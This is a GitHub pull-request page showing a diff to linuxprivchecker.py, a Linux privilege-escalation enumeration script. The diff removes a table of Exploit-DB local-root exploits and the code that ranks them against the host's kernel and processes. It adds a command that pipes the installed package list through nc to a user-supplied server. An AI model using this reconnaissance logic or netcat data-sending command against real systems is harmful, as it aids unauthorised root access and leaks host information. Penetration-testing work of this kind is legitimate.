这是indexloc提供的服务，不要输入任何密码
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Client connection update #3

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Merged
merged 3 commits into from
Oct 24, 2017
Merged

Client connection update #3

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2a2ce71
added initial support for searching server
linted Oct 20, 2017
f839ebc
added searching support to python 3 script
linted Oct 21, 2017
5a7527b
Added search functionality to python 2
linted Oct 21, 2017
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135 changes: 8 additions & 127 deletions linuxprivchecker.py
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Original file line number Diff line number Diff line change
Expand Up @@ -239,133 +239,14 @@ def writeResults(msg, results):
print
print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n"

# Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB)
# sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os'
sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}},
"<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}},
"<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}},
"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}},
"<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}},
"Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}},
"2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}},
"Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}},
"Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}},
"2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}},
"2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}},
"2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}},
"'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}},
"<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}},
"Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}},
"< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}},
"open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
"open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
}

# variable declaration
os = sysInfo["OS"]["results"][0]
version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0]
langs = devTools["TOOLS"]["results"]
procs = getAppProc["PROCS"]["results"]
kernel = str(sysInfo["KERNEL"]["results"][0])
mount = driveInfo["MOUNT"]["results"]
#pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future


# lists to hold ranked, applicable sploits
# note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks
# all applicable exploits should be checked and this function could probably use some improvement
avgprob = []
highprob = []

for sploit in sploits:
lang = 0 # use to rank applicability of sploits
keyword = sploits[sploit]["keywords"]["val"]
sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"]
# first check for kernell applicability
if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]):
# next check language applicability
if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))):
lang = 1 # language found, increase applicability score
elif sploits[sploit]["lang"] == "sh":
lang = 1 # language found, increase applicability score
elif (sploits[sploit]["lang"] in str(langs)):
lang = 1 # language found, increase applicability score
if lang == 0:
sploitout = sploitout + "**" # added mark if language not detected on system
# next check keyword matches to determine if some sploits have a higher probability of success
for loc in sploits[sploit]["keywords"]["loc"]:
if loc == "proc":
for proc in procs:
if keyword in proc:
highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability
break
break
elif loc == "os":
if (keyword in os) or (keyword in kernel):
highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability
break
elif loc == "mnt":
if keyword in mount:
highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability
break
else:
avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version

print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!"
print

print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system"
for exploit in highprob:
print " - " + exploit
print

print " The following exploits are applicable to this kernel version and should be investigated as well"
for exploit in avgprob:
print " - " + exploit
question = raw_input("[?] Would you like to search for possible exploits? [y/N] ")
if 'y' in question.lower():
server = raw_input("[?] What is the address of the server? ")
port = raw_input("[?] What port is the server using? ")
print "[ ] Connecting to {}:{}".format(server,port)
exploits = {"EXPLOITS":{"cmd":"dpkg -l | tail -n +6 | awk '{{print $2, $3}} END {{print \"\"}}' | nc {} {}".format(server, port), "msg":"Found the following possible exploits"}}
exploits_results = execCmd(exploits)
printResults(exploits)

print
print "Finished"
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